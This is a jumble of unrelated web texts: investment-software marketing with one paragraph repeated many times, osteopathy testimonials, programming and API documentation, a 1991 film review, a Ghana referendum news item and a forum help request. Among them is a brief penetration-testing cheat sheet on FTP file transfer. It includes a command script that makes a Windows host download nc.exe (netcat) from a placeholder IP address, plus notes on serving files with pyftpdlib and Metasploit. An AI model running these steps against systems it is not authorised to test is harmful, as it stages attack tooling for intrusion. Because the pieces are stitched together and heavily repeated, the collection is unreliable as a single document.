Hexagon mPower Back Office receives trades from various origination points and houses them in a handover blotter. Based on deployment settings, accounting is accomplished automatically or upon user choice. The product performs any 'allowed' trade adjustments and also fulfills any period end audit observations. Valuations and income recognition are completely automated based on market practice, chosen policies and IFRS, regional variants of the same are fully supported. Apart from operational reports, statutory reporting for selected countries are pre-packaged. Post trade compliance is fully automated with the ability to inform appropriate responsibility points via alerts or email.
End to EndE2E
Hexagon mPower Enterprise is an end to end investment management product, comprehensively covering front-to-back office requirements. Front office, Mid office, Back office activities are functionally segregated to obtain efficiencies and also to provide adequate checks and balances.
See how Hexagon mPower addresses a wide range of industry needs
Hexagon mPower Front Office supports decision making, trade origination and trade flow confirmation through a set of blotters. It also provides for personalization of these blotters. Pre-trade compliance is weaved throughout the trade flow at appropriate trade points. A scenario analyzer to verifies the impact of trades on compliance and exposure. Portfolio metrics is a crucial part of the Product.
Hexagon mPower Front Office supports decision making, trade origination and trade flow confirmation through a set of blotters. It also provides for personalization of these blotters. Pre-trade compliance is weaved throughout the trade flow at appropriate trade points. A scenario analyzer to verifies the impact of trades on compliance and exposure. Portfolio metrics is a crucial part of the Product.
Hexagon mPower Front Office supports decision making, trade origination and trade flow confirmation through a set of blotters. It also provides for personalization of these blotters. Pre-trade compliance is weaved throughout the trade flow at appropriate trade points. A scenario analyzer to verifies the impact of trades on compliance and exposure. Portfolio metrics is a crucial part of the Product.
Hexagon mPower Front Office supports decision making, trade origination and trade flow confirmation through a set of blotters. It also provides for personalization of these blotters. Pre-trade compliance is weaved throughout the trade flow at appropriate trade points. A scenario analyzer to verifies the impact of trades on compliance and exposure. Portfolio metrics is a crucial part of the Product.
Hexagon mPower Front Office supports decision making, trade origination and trade flow confirmation through a set of blotters. It also provides for personalization of these blotters. Pre-trade compliance is weaved throughout the trade flow at appropriate trade points. A scenario analyzer to verifies the impact of trades on compliance and exposure. Portfolio metrics is a crucial part of the Product.
Hexagon mPower Front Office supports decision making, trade origination and trade flow confirmation through a set of blotters. It also provides for personalization of these blotters. Pre-trade compliance is weaved throughout the trade flow at appropriate trade points. A scenario analyzer to verifies the impact of trades on compliance and exposure. Portfolio metrics is a crucial part of the Product.
Hexagon mPower Front Office supports decision making, trade origination and trade flow confirmation through a set of blotters. It also provides for personalization of these blotters. Pre-trade compliance is weaved throughout the trade flow at appropriate trade points. A scenario analyzer to verifies the impact of trades on compliance and exposure. Portfolio metrics is a crucial part of the Product.
Hexagon mPower Front Office supports decision making, trade origination and trade flow confirmation through a set of blotters. It also provides for personalization of these blotters. Pre-trade compliance is weaved throughout the trade flow at appropriate trade points. A scenario analyzer to verifies the impact of trades on compliance and exposure. Portfolio metrics is a crucial part of the Product.
Hexagon mPower Front Office supports decision making, trade origination and trade flow confirmation through a set of blotters. It also provides for personalization of these blotters. Pre-trade compliance is weaved throughout the trade flow at appropriate trade points. A scenario analyzer to verifies the impact of trades on compliance and exposure. Portfolio metrics is a crucial part of the Product.
Hexagon mPower Front Office supports decision making, trade origination and trade flow confirmation through a set of blotters. It also provides for personalization of these blotters. Pre-trade compliance is weaved throughout the trade flow at appropriate trade points. A scenario analyzer to verifies the impact of trades on compliance and exposure. Portfolio metrics is a crucial part of the Product.
Hexagon mPower Front Office supports decision making, trade origination and trade flow confirmation through a set of blotters. It also provides for personalization of these blotters. Pre-trade compliance is weaved throughout the trade flow at appropriate trade points. A scenario analyzer to verifies the impact of trades on compliance and exposure. Portfolio metrics is a crucial part of the Product.
Hexagon mPower Front Office supports decision making, trade origination and trade flow confirmation through a set of blotters. It also provides for personalization of these blotters. Pre-trade compliance is weaved throughout the trade flow at appropriate trade points. A scenario analyzer to verifies the impact of trades on compliance and exposure. Portfolio metrics is a crucial part of the Product.
Hexagon mPower Front Office supports decision making, trade origination and trade flow confirmation through a set of blotters. It also provides for personalization of these blotters. Pre-trade compliance is weaved throughout the trade flow at appropriate trade points. A scenario analyzer to verifies the impact of trades on compliance and exposure. Portfolio metrics is a crucial part of the Product.
Hexagon mPower Front Office supports decision making, trade origination and trade flow confirmation through a set of blotters. It also provides for personalization of these blotters. Pre-trade compliance is weaved throughout the trade flow at appropriate trade points. A scenario analyzer to verifies the impact of trades on compliance and exposure. Portfolio metrics is a crucial part of the Product.
Hexagon mPower Front Office supports decision making, trade origination and trade flow confirmation through a set of blotters. It also provides for personalization of these blotters. Pre-trade compliance is weaved throughout the trade flow at appropriate trade points. A scenario analyzer to verifies the impact of trades on compliance and exposure. Portfolio metrics is a crucial part of the Product.
Enquire about Hexagon mPower


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"I want to help people feel better just like my osteopath did for me."
Nina: Suffered pain for over a year
Nina works as a sales rep for a popular cosmetics company and is required to drive from one client to the next, week in week out. Nina presented with pain in the neck and shoulders, accompanied with headaches and pain in the muscles of the jaw, causing nighttime grinding of the teeth.
Nina slipped in a pool and smashed out her front teeth while on holiday in Turkey. As a result she had extensive dental surgery. The trauma to the front of the skull has resulted in a protective muscle guarding and splinting, similar to what happens in a whiplash injury. Nina had suffered with pain for more than a year.
After four treatments the headaches and jaw pain were considerably reduced. We now have Nina on a three weekly maintenance treatment.
Mandy: Stabbing pain in lower back
Mandy is in her late thirties and works in the medical industry driving to clients all over Auckland. She is a dedicated fitness enthusiast and runs four to five times per week. After falling over while running two or three times she presented with a stabbing pain in the lower back and found it hard to put on her socks. The pain was also present after standing for just a short period of time.
Mandy had been to physio and had massage but with little to no results. After just three visits she was able to stand without pain and was also able to return to her much loved running program.
Fleur: Severe headaches
Fleur is in her early thirties. She is a mum and owns a cafe in Herne Bay. Fleur is passionate about golf and plays at a senior level three or four times a week.
I received a call on a Monday (my day off). Fleur was stressed and suffering from a severe headache, causing sensitivity to light along with immense discomfort and pain. When she came in her eyes were very red and she was not talking that much, but told me she had an important seminar to attend that evening, but could not go if the headache persisted.
On examination I noted that the muscles in her back and neck were extremely tight. This could have been a result of standing all day at the cafe and twisting while playing golf. That evening Fleur was able to attend the seminar and the tension was considerably reduced.
Fleur is now a regular client and is able to maintain an excellent game of golf.
 Isaac is the best in his field, able to work magic on my patients who have suffered for years with aches and pains. I wouldn’t send my patients anywhere else for their adjustments!
I have seen Isaac for my own muscular complaints, and the results were extraordinary. I was free of muscle pain and feeling light on my feet!
His personality is warm and quietly intelligent. He is built like a lumberjack, but with the personality of a teddy bear and the brain of a scientist. The perfect combination.”
-l. Dr Kathleen Wills, (I)MD, Doctor of Integrative Medicine (USA/NZ), Clinical Nutritionist, GM Australasian Integrative Medicine Association


FTP
Serve up with python
apt-get install python-pyftpdlib
python -m pyftpdlib -p 21
One benefit of using FTP over HTTP is the ability to transfer files both way. If you want to grant the anonymous user write access, add the -w flag as well.
Authenticate with user anonymous and any password
use “s” switch to make FTP take all its input from a file instead:
echo open <IP_ADDRESS> >> ftp.txt
echo username >> ftp.txt
echo password >> ftp.txt
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt
ftp -s:ftp.txt
Connect using commands in config.txt
ftp -n -v -s:config.txt <IP_ADDRESS>
config.txt:
user uid1234 (username)
uid1234 (password)
quit
Metasploit. There is also an auxiliary FTP server built in to Metasploit as well that is easy to deploy and configure. It's located at auxiliary/server/ftp. Set the FTPROOT to the directory you want to share and run exploit


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That was a lot of stuff to put down.


STRONG
This is to be used in the BODY Tag.
The text written in this tag is displayed in a strong form by the Browser.
This is a Container Tag and thus has to be closed.
Syntax

...Text...

Example

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Effect
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9 Just above this part of the window is a set of three tabs: Scripts, Costumes, and Sounds. You’ll see that the Costumes tab is now selected. In this view, the sprite’s wardrobe, you can choose whether the sprite should wear its Turtle costume or its Alonzo costume. (Alonzo, the Snap ! mascot, is named after Alonzo Church, a mathematician who invented the idea of procedures as data, the most important way in which Snap ! is different from Scratch.) You can give a sprite as many costumes as you like, and then choose which it will wear either by clicking in its wardrobe or by using the or block in a script. (Every costume has a number as well as a name. The next costume block selects the next costume by number; after the highest-numbered costume it switches to costume 1. The Turtle, costume 0, is never chosen by next costume.) The Turtle costume is the only one that changes color to match a change in the sprite’s pen color. Protip: switches to the previous costume, wrapping like next costume. In addition to its costumes, a sprite can have sounds; the equivalent for sounds of the sprite’s wardrobe is called its jukebox. Sound ﬁles can be imported in any format (WAV, OGG, MP3, etc.) supported by your browser. Two blocks accomplish the task of playing sounds. If you would like a script to continue running while the sound is playing, use the block . In contrast, you can use the block to wait for the sound's completion before continuing the rest of the script. Inter-Sprite Communication with Broadcast Earlier we saw an example of two sprites moving at the same time. In a more interesting program, though, the sprites on stage will interact to tell a story, play a game, etc. Often one sprite will have to tell another sprite to run a script.  When you click on the downward arrowhead in that input slot, one of the choices (the only choice, the ﬁrst time) is “new,” which then prompts you to enter a name for the new broadcast. When this block is run, the chosen message is sent to every sprite, which is why the block is called “broadcast.” (But if you click the right arrow after the message name, the block becomes , and you can change it to to send the message just to one sprite.) In this program, though, only one sprite has a script to run when that broadcast is sent, namely the dog. Because the boy’s script uses broadcast and wait rather than just broadcast, the boy doesn’t go on to his next say block until the dog’s script ﬁnishes. That’s why the two sprites take turns talking, instead of both talking at once. In Chapter VII, “Object-Oriented Programming with Sprites,” you’ll see a more ﬂexible way to send a message to a speciﬁc sprite using the tell and ask blocks. Notice, by the way, that the say block’s ﬁrst input slot is rectangular rather than oval. This means the input can be any text string, not only a number. In text input slots, a space character is shown as a brown dot, so that you can count the number of spaces between words, and in particular you can tell the difference between an empty slot and one containing spaces. The brown dots are not shown on the stage if the text is displayed.


|
Occluded Library
0.1
A graphics library that sits on top of low level libraries such as OpenGL and DirectX.
|
An attribute buffer subclass with segregated data. More...
#include <segregated_attr_buffer.h>
Public Member Functions | |
| segregated_attr_buffer (const attributes::attribute_map &map) | |
| Initializes the attribute buffer. More... | |
| void | insert_values (const std::vector< char > &values) |
| Inserts values into the attribute buffer. More... | |
| Public Member Functions inherited from occluded::buffers::attribute_buffer | |
| attribute_buffer (const attributes::attribute_map &map) | |
| Initializes the attribute buffer. More... | |
| void | clear_buffer () |
| Removes all the values from the buffer. | |
| const std::size_t | get_byte_size () const |
| Gets the size in bytes of the buffer. More... | |
| const unsigned int | get_num_values () const |
| Get the number of values in the buffer. More... | |
| const std::vector< char > & | get_all_data () const |
| Gets the data in the attribute buffer. More... | |
| const attributes::attribute_map & | get_attribute_map () const |
| Gets the attribute map of the attribute buffer. More... | |
| const std::vector< unsigned int > & | get_attribute_data_offsets () const |
| Gets the offsets of to the values in attribute buffer. More... | |
Additional Inherited Members | |
| Protected Attributes inherited from occluded::buffers::attribute_buffer | |
| attributes::attribute_map | m_map |
| std::vector< char > | m_data |
| std::vector< unsigned int > | m_bufferPointers |
| unsigned int | m_numValues |
| bool | m_pointersSet |
An attribute buffer subclass with segregated data.
An attribute buffer that stores values in segregated sections. The first value of the first attribute will be stored, then the second value of the first attribute is stored and so on.
| occluded::buffers::segregated_attr_buffer::segregated_attr_buffer | ( | const attributes::attribute_map & | map | ) |
Initializes the attribute buffer.
| map | A reference to an attribute map. |
Initializes the attribute buffer. Throws an exception if the map is not a segregated map.
|
virtual |
Inserts values into the attribute buffer.
| values | A reference to a vector of characters representing the values to be inserted. |
Inserts a value into the attribute buffer. The values in the vector parameter will be split up and each value will be placed in the correct section of the buffer.
Implements occluded::buffers::attribute_buffer.


鼠标事件
dblclick
count : {{ count }}
click
count2 : {{ count2 }}
disabled
click me to toggle:
ng-hide
Click me:
show:
I show up when your checkbox is checked
hide:
I hide when your checkbox is checked


Social
Table of Contents:
ContactPicker
Properties
- BackgroundColor
- Returns the button’s background color
- ContactName
- Name property getter method.
- ContactUri
- URI that specifies the location of the contact on the device.
- EmailAddress
- EmailAddress property getter method.
- EmailAddressList
- EmailAddressList property getter method.
- Enabled
- If set, user can tap ContactPicker to cause action.
- FontBold
- If set, ContactPicker text is displayed in bold.
- FontItalic
- If set, ContactPicker text is displayed in italics.
- FontSize
- Point size for ContactPicker text.
- FontTypeface
- Font family for ContactPicker text.
- Height
- Specifies the vertical height of the ContactPicker, measured in pixels.
- HeightPercent
- Specifies the vertical height of the ContactPicker as a percentage of the height of the Screen.
- Image
- Image to display on button.
- PhoneNumber
- PhoneNumber property getter method.
- PhoneNumberList
- PhoneNumberList property getter method.
- Picture
- Picture URI for this contact, which can be used to retrieve the contact’s photo and other fields.
- Shape
- Returns the style of the button.
- ShowFeedback
- Specifies if a visual feedback should be shown for a ContactPicker that as an image as background.
- Text
- Text to display on ContactPicker.
- TextAlignment
- Left, center, or right.
- TextColor
- Color for button text.
- Visible
- Returns true iff the ContactPicker is visible.
- Width
- Specifies the horizontal width of the ContactPicker, measured in pixels.
- WidthPercent
- Specifies the horizontal width of the ContactPicker as a percentage of the width of the Screen.
Events
- AfterPicking()
- Event to be raised after the picker activity returns its result and the properties have been filled in.
- BeforePicking()
- Event to raise when the ContactPicker is clicked or the list is shown using the Open block. This event occurs before the list of items is displayed, and can be used to prepare the list before it is shown.
- GotFocus()
- Indicates the cursor moved over the ContactPicker so it is now possible to click it.
- LostFocus()
- Indicates the cursor moved away from the ContactPicker so it is now no longer possible to click it.
- TouchDown()
- Indicates that the ContactPicker was pressed down.
- TouchUp()
- Indicates that the ContactPicker has been released.
Methods
- Open()
- Opens the picker, as though the user clicked on it.
- ViewContact(uri)
- view a contact via its URI
EmailPicker
Properties
- BackgroundColor
- The background color of the input box. You can choose a color by name in the Designer or in the Blocks Editor. The default background color is ‘default’ (shaded 3-D look).
- Enabled
- Whether the user can enter text into the EmailPicker. By default, this is true.
- FontBold
- Whether the font for the text should be bold. By default, it is not.
- FontItalic
- Whether the text should appear in italics. By default, it does not.
- FontSize
- The font size for the text. By default, it is 14.0 points.
- FontTypeface
- The font for the text. The value can be changed in the Designer.
- Height
- Specifies the vertical height of the EmailPicker, measured in pixels.
- HeightPercent
- Specifies the vertical height of the EmailPicker as a percentage of the height of the Screen.
- Hint
- Text that should appear faintly in the EmailPicker to provide a hint as to what the user should enter. This can only be seen if the
Text
property is empty. - Text
- Returns the textbox contents.
- TextAlignment
- Whether the text should be left justified, centered, or right justified. By default, text is left justified.
- TextColor
- The color for the text. You can choose a color by name in the Designer or in the Blocks Editor. The default text color is black.
- Visible
- Returns true iff the EmailPicker is visible.
- Width
- Specifies the horizontal width of the EmailPicker, measured in pixels.
- WidthPercent
- Specifies the horizontal width of the EmailPicker as a percentage of the width of the Screen.
Events
- GotFocus()
- Event raised when this component is selected for input, such as by the user touching it.
- LostFocus()
- Event raised when the EmailPicker is no longer selected for input, such as if the user touches a different text box.
Methods
- RequestFocus()
- Sets the EmailPicker active.
PhoneCall
Properties
- PhoneNumber
- PhoneNumber property getter method.
Events
- IncomingCallAnswered(phoneNumber)
- Event indicating that an incoming phone call is answered. phoneNumber is the incoming call phone number.
- PhoneCallEnded(status,phoneNumber)
- Event indicating that a phone call has ended. If status is 1, incoming call is missed or rejected; if status is 2, incoming call is answered before hanging up; if status is 3, outgoing call is hung up. phoneNumber is the ended call phone number.
- PhoneCallStarted(status,phoneNumber)
- Event indicating that a phonecall has started. If status is 1, incoming call is ringing; if status is 2, outgoing call is dialled. phoneNumber is the incoming/outgoing phone number.
Methods
- MakePhoneCall()
- Makes a phone call using the number in the PhoneNumber property.
- MakePhoneCallDirect()
- Makes a phone call using the number in the PhoneNumber property.
PhoneNumberPicker
Properties
- BackgroundColor
- Returns the button’s background color
- ContactName
- Name property getter method.
- ContactUri
- URI that specifies the location of the contact on the device.
- EmailAddress
- EmailAddress property getter method.
- EmailAddressList
- EmailAddressList property getter method.
- Enabled
- If set, user can tap ContactPicker to cause action.
- FontBold
- If set, ContactPicker text is displayed in bold.
- FontItalic
- If set, ContactPicker text is displayed in italics.
- FontSize
- Point size for ContactPicker text.
- FontTypeface
- Font family for ContactPicker text.
- Height
- Specifies the vertical height of the ContactPicker, measured in pixels.
- HeightPercent
- Specifies the vertical height of the ContactPicker as a percentage of the height of the Screen.
- Image
- Image to display on button.
- PhoneNumber
- PhoneNumber property getter method.
- PhoneNumberList
- PhoneNumberList property getter method.
- Picture
- Picture URI for this contact, which can be used to retrieve the contact’s photo and other fields.
- Shape
- Returns the style of the button.
- ShowFeedback
- Specifies if a visual feedback should be shown for a ContactPicker that as an image as background.
- Text
- Text to display on ContactPicker.
- TextAlignment
- Left, center, or right.
- TextColor
- Color for button text.
- Visible
- Returns true iff the ContactPicker is visible.
- Width
- Specifies the horizontal width of the ContactPicker, measured in pixels.
- WidthPercent
- Specifies the horizontal width of the ContactPicker as a percentage of the width of the Screen.
Events
- AfterPicking()
- Event to be raised after the picker activity returns its result and the properties have been filled in.
- BeforePicking()
- Event to raise when the ContactPicker is clicked or the list is shown using the Open block. This event occurs before the list of items is displayed, and can be used to prepare the list before it is shown.
- GotFocus()
- Indicates the cursor moved over the ContactPicker so it is now possible to click it.
- LostFocus()
- Indicates the cursor moved away from the ContactPicker so it is now no longer possible to click it.
- TouchDown()
- Indicates that the ContactPicker was pressed down.
- TouchUp()
- Indicates that the ContactPicker has been released.
Methods
- Open()
- Opens the picker, as though the user clicked on it.
- ViewContact(uri)
- view a contact via its URI
Sharing
Methods
- Shares a file through any capable application installed on the phone by displaying a list of the available apps and allowing the user to choose one from the list. The selected app will open with the file inserted on it.
- Shares both a file and a message through any capable application installed on the phone by displaying a list of available apps and allowing the user to choose one from the list. The selected app will open with the file and message inserted on it.
- Shares a message through any capable application installed on the phone by displaying a list of the available apps and allowing the user to choose one from the list. The selected app will open with the message inserted on it.
Texting
Properties
- GoogleVoiceEnabled
- If true, then SendMessage will attempt to send messages over Wifi using Google Voice. This requires that the Google Voice app must be installed and set up on the phone or tablet, with a Google Voice account. If GoogleVoiceEnabled is false, the device must have phone and texting service in order to send or receive messages with this component.
- Message
- The message that will be sent when the SendMessage method is called.
- PhoneNumber
- Sets the phone number to send the text message to when the SendMessage function is called.
- ReceivingEnabled
- If set to 1 (OFF) no messages will be received. If set to 2 (FOREGROUND) or3 (ALWAYS) the component will respond to messages if it is running. If the app is not running then the message will be discarded if set to 2 (FOREGROUND). If set to 3 (ALWAYS) and the app is not running the phone will show a notification. Selecting the notification will bring up the app and signal the MessageReceived event. Messages received when the app is dormant will be queued, and so several MessageReceived events might appear when the app awakens. As an app developer, it would be a good idea to give your users control over this property, so they can make their phones ignore text messages when your app is installed.
Events
- MessageReceived(number,messageText)
- Event that’s raised when a text message is received by the phone.
Methods
- SendMessage()
- Send a text message
- SendMessageDirect()
- Send a text message directly
Properties
- ConsumerKey
- ConsumerKey property getter method.
- ConsumerSecret
- ConsumerSecret property getter method.
- DirectMessages
- This property contains a list of the most recent messages mentioning the logged-in user. Initially, the list is empty. To set it, the program must:

 Call the
Authorize
method.

 Wait for theAuthorized
event.

 Call theRequestDirectMessages
method.

 Wait for theDirectMessagesReceived
event.

 The value of this property will then be set to the list of direct messages retrieved (and maintain that value until any subsequent call toRequestDirectMessages
). - Followers
- This property contains a list of the followers of the logged-in user. Initially, the list is empty. To set it, the program must:

 Call the
Authorize
method.

 Wait for theIsAuthorized
event.

 Call theRequestFollowers
method.

 Wait for theFollowersReceived
event.

 The value of this property will then be set to the list of followers (and maintain its value until any subsequent call toRequestFollowers
). - FriendTimeline
- This property contains the 20 most recent messages of users being followed. Initially, the list is empty. To set it, the program must:

 Call the
Authorize
method.

 Wait for theIsAuthorized
event.

 Specify users to follow with one or more calls to theFollow
method.

 Call theRequestFriendTimeline
method.

 Wait for theFriendTimelineReceived
event.

 The value of this property will then be set to the list of messages (and maintain its value until any subsequent call toRequestFriendTimeline
. - Mentions
- This property contains a list of mentions of the logged-in user. Initially, the list is empty. To set it, the program must:

 Call the
Authorize
method.

 Wait for theIsAuthorized
event.

 Call theRequestMentions
method.

 Wait for theMentionsReceived
event.

 The value of this property will then be set to the list of mentions (and will maintain its value until any subsequent calls toRequestMentions
). - SearchResults
- This property, which is initially empty, is set to a list of search results after the program:

Calls the
SearchTwitter
method.

Waits for theSearchSuccessful
event.

 The value of the property will then be the same as the parameter toSearchSuccessful
. Note that it is not necessary to call theAuthorize
method before callingSearchTwitter
. - TwitPic_API_Key
- TwitPicAPIkey property getter method.
- Username
- The user name of the authorized user. Empty if there is no authorized user.
Events
- DirectMessagesReceived(messages)
- This event is raised when the recent messages requested through
RequestDirectMessages
have been retrieved. A list of the messages can then be found in themessages
parameter or theMessages
property. - FollowersReceived(followers2)
- This event is raised when all of the followers of the logged-in user requested through
RequestFollowers
have been retrieved. A list of the followers can then be found in thefollowers
parameter or theFollowers
property. - FriendTimelineReceived(timeline)
- This event is raised when the messages requested through
RequestFriendTimeline
have been retrieved. Thetimeline
parameter and theTimeline
property will contain a list of lists, where each sub-list contains a status update of the form (username message) - IsAuthorized()
- This event is raised after the program calls
Authorize
if the authorization was successful. It is also called after a call toCheckAuthorized
if we already have a valid access token. After this event has been raised, any other method for this component can be called. - MentionsReceived(mentions)
- This event is raised when the mentions of the logged-in user requested through
RequestMentions
have been retrieved. A list of the mentions can then be found in thementions
parameter or theMentions
property. - SearchSuccessful(searchResults)
- This event is raised when the results of the search requested through
SearchSuccessful
have been retrieved. A list of the results can then be found in theresults
parameter or theResults
property.
Methods
- Authorize()
- Redirects user to login to Twitter via the Web browser using the OAuth protocol if we don’t already have authorization.
- CheckAuthorized()
- Checks whether we already have access, and if so, causes IsAuthorized event handler to be called.
- DeAuthorize()
- Removes Twitter authorization from this running app instance
- DirectMessage(user,message)
- This sends a direct (private) message to the specified user. The message will be trimmed if it exceeds 160characters.
Requirements: This should only be called after the
IsAuthorized
event has been raised, indicating that the user has successfully logged in to Twitter.
 - Follow(user)
- Starts following a user.
- RequestDirectMessages()
- Requests the 20 most recent direct messages sent to the logged-in user. When the messages have been retrieved, the system will raise the
DirectMessagesReceived
event and set theDirectMessages
property to the list of messages.
Requirements: This should only be called after theIsAuthorized
event has been raised, indicating that the user has successfully logged in to Twitter.
 - RequestFollowers()
- Gets who is following you.
- RequestFriendTimeline()
- Gets the most recent 20 messages in the user’s timeline.
- RequestMentions()
- Requests the 20 most recent mentions of the logged-in user. When the mentions have been retrieved, the system will raise the
MentionsReceived
event and set theMentions
property to the list of mentions.
Requirements: This should only be called after theIsAuthorized
event has been raised, indicating that the user has successfully logged in to Twitter.
 - SearchTwitter(query)
- This searches Twitter for the given String query.
Requirements: This should only be called after the
IsAuthorized
event has been raised, indicating that the user has successfully logged in to Twitter.
 - StopFollowing(user)
- Stops following a user.
- Tweet(status)
- This sends a tweet as the logged-in user with the specified Text, which will be trimmed if it exceeds 160 characters.
Requirements: This should only be called after the
IsAuthorized
event has been raised, indicating that the user has successfully logged in to Twitter.
 - TweetWithImage(status,imagePath)
- This sends a tweet as the logged-in user with the specified Text and a path to the image to be uploaded, which will be trimmed if it exceeds 160 characters. If an image is not found or invalid, only the text will be tweeted.
Requirements: This should only be called after the
IsAuthorized
event has been raised, indicating that the user has successfully logged in to Twitter.


HOT SHOTS A film review by Ken Johnson Copyright 1991 Ken Johnson
[The names on the From:- and by-lines are correct; this is by a family member of the account owner. -Moderator]
90 min, PG-13, Comedy, 1991 Director: Jim Abrahams Cast: Charlie Sheen, Cary Elwes, Valeria Golino, Jon Cryer, Lloyd Bridges, Kristy Swanson, Bruce A. Young
Synopsis: Hot-shot Sheen was kicked out of the Air Force when he endangered another recruit. The Air Force goes to the Indian reservation he is now living at to ask him to come back. On his way back to the Air Force base he sees Golino. He falls in love with her but she is currently seeing another man in the Air Force. Sheen makes it to the Air Force base where personnel are being briefed on the next assignment. Some of the men want Sheen taken off the mission because he is a hot shot. An evil organization wants to keep Sheen on the mission to make the Air Force look bad. Sheen tries to win over Golino in his spare time.
The film is rated PG-13 for explicit language, adult situations, violence, and adult humor.
Sorry it took so long to get this film review out. I saw HOT SHOTS on its opening night and I have not had time since then to do the review on it. I recommend running out to the theater to see it, while it is still there, if you liked THE NAKED GUN 2-1/2 as it is much in the same style. This was written by Jim Abrahams and Pat Proft (who wrote for the "Police Squad!" television series). The director, Abrahams, has also done the slapstick films AIRPLANE! and TOP SECRET!. If you liked either of these films I recommend seeing this film. This is unlike Abrahams' more recent comedies like WELCOME HOME ROXY CARMICHAEL and BIG BUSINESS. I give this film a four on a zero to five scale.
In short, go see the film in the theater, or if you miss it in the theater be sure not to miss it on video.
Most of the scenes shown in the advertisements for the movie happen during the credits (e.g., the man roasting his hot dog in the jet's after-burner). In the next ninety minutes the jokes come one after another. Lloyd Bridges (who was also in AIRPLANE! and the not as good sequel AIRPLANE 2: THE SEQUEL) plays the commander of the mission. As we find out by the end of the film (and had probably guessed earlier) Bridges has had most of his body replaced with metal, from accidents in the war, which leads to 1/3 of the jokes. Some of these may start to wear on you though. Half of the comedy in the film is based on Charlie Sheen and Cary Elwes both fighting over Valeria Golino. Sheen and Golino have what may be the most interesting sex scene in movie history, the two of them and an array of vegetables.
.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


| Interface | Description |
|---|---|
| BasicRestConfig |
Basic configuration for a REST resource.
|
| ResponseHandler |
Defines the interface for handlers that convert POJOs to appropriate HTTP responses.
|
| RestCallHandler |
Class that handles the basic lifecycle of an HTTP REST call.
|
| RestCallHandler.Null |
Represents no RestCallHandler.
|
| RestConverter |
REST method response converter.
|
| RestInfoProvider |
REST resource information provider.
|
| RestInfoProvider.Null |
Represents no RestInfoProvider.
|
| RestLogger |
Logging utility class.
|
| RestLogger.Null |
Represents no RestLogger.
|
| RestResourceResolver |
Class used to resolve
Class objects to instances. |
| RestResourceResolver.Null |
Represents no RestResourceResolver.
|
| Class | Description |
|---|---|
| BasicRestCallHandler |
Default implementation of
RestCallHandler . |
| BasicRestInfoProvider |
Default implementation of
RestInfoProvider . |
| BasicRestLogger |
Logging utility class.
|
| BasicRestResourceResolver |
Denotes the default resolver for child resources.
|
| BasicRestServlet |
Subclass of
RestServlet with default serializers and parsers defined. |
| BasicRestServletGroup |
Specialized subclass of
BasicRestServlet for showing "group" pages. |
| ClientVersionMatcher |
Specialized matcher for matching client versions.
|
| HtmlDocBuilder |
Programmatic interface for setting properties used by the HtmlDoc serializer.
|
| Inherit |
Dummy class that indicates that serializers, parsers, or transforms should be inherited from parent-class-to-class or class-to-method.
|
| MessageBundleLocation |
Message bundle location.
|
| None |
Dummy class that indicates that serializers, parsers, or transforms for a Java class or method should not be inherited.
|
| NoOpRestLogger |
Logging utility class.
|
| RequestBody |
Contains the body of the HTTP request.
|
| RequestFormData |
Represents the parsed form-data parameters in an HTTP request.
|
| RequestHeaders |
Represents the headers in an HTTP request.
|
| RequestPath |
Contains information about the matched path on the HTTP request.
|
| RequestProperties |
Encapsulates request-level properties.
|
| RequestQuery |
Represents the query parameters in an HTTP request.
|
| ResponsePartMeta |
Represents the information needed to serialize a response part such as a response header or body.
|
| RestCallRouter |
Represents a group of CallMethods on a REST resource that handle the same HTTP Method name but with different
paths/matchers/guards/etc...
|
| RestChild |
Represents a simple child REST resource / path mapping.
|
| RestContext |
Contains all the configuration on a REST resource and the entry points for handling REST calls.
|
| RestContextBuilder |
Defines the initial configuration of a
RestServlet or @RestResource annotated object. |
| RestContextProperties |
Encapsulates class-level properties.
|
| RestGuard |
REST method guard.
|
| RestJavaMethod |
Represents a single Java servlet/resource method annotated with
@RestMethod . |
| RestMatcher |
Class used for defining method-level matchers using the
@RestMethod(matchers) annotation. |
| RestMethodParam |
REST java method parameter resolver.
|
| RestMethodProperties |
Encapsulates java-method-level properties.
|
| RestRequest |
Represents an HTTP request for a REST resource.
|
| RestResponse |
Represents an HTTP response for a REST resource.
|
| RestServlet |
Servlet implementation of a REST resource.
|
| StaticFileMapping |
Static file mapping.
|
| Enum | Description |
|---|---|
| RestParamType |
Represents the possible parameter types as defined by the Swagger 2.0 specification.
|
| Exception | Description |
|---|---|
| RestException |
Exception thrown to trigger an error HTTP status.
|
| RestServletException |
General exception thrown from
RestServlet during construction or initialization. |
Copyright © 2018 Apache. All rights reserved.


We are a global business that operates on a local scale.
We can create global reach with local focus because of the strength of the Collar system, which comprises our companies spanning over three continents.
Purpose
Our purpose is to create a more diversified and sustainable business that makes a difference in people’s lives, communities, and our planet.
Mission
Our mission is to connect the world with what matters most and continue to facilitate what's possible.
Values
Our core values include leadership, collaboration, integrity, accountability, passion, and quality.
Purpose
Our purpose is to create a more diversified and sustainable business that makes a difference in people’s lives, communities, and our planet.
Mission
Our mission is to connect the world with what matters most and continue to facilitate what's possible.
Values
Our core values include leadership, collaboration, integrity, accountability, passion, and quality.


Nana urges stakeholder egagements over Referendum
President Nana Addo Dankwa Akufo-Addo has directed that Government undertakes further engagements with stakeholders on the upcoming referendum.
The purpose of the engagement is to seek to clear up misconceptions about the purpose of the referendum and build concensus on the way forward.
This round of engagements shall involve the Vice President Dr. Mahamadu Bawumia, Senior Minister Hon. Yaw Osafo Marfo and other Government Officials.
Stakeholders such as Religious, traditional bodies, Civil Society Organizations, Journalists, among others, are expected to be engaged from Wednesday November 20, 2019.
The President, DGN Online understands, considers the engagements important to engendering a common understanding of the issues related to the upcoming referendum.


I've tried to set up emoncms3 under both OSX and linux and I've run into the same issue on both. I get everything working to the point of creating a new user. However I get a file not found error and when I look in the file system, there aren't any files in the user directory. (There is a readme in the directory but that doesn't really count.)
On OSX I used the zip file and on linux I used the git hub replication. I really don't understand becase even when browse the files on git hub there isn't anything in the user directory so I have no idea how it is meant to work???
I'm hoping I'm missing something simple since I'd really like to get it up and running.
This is the error when I try and add a new user:
Not Found
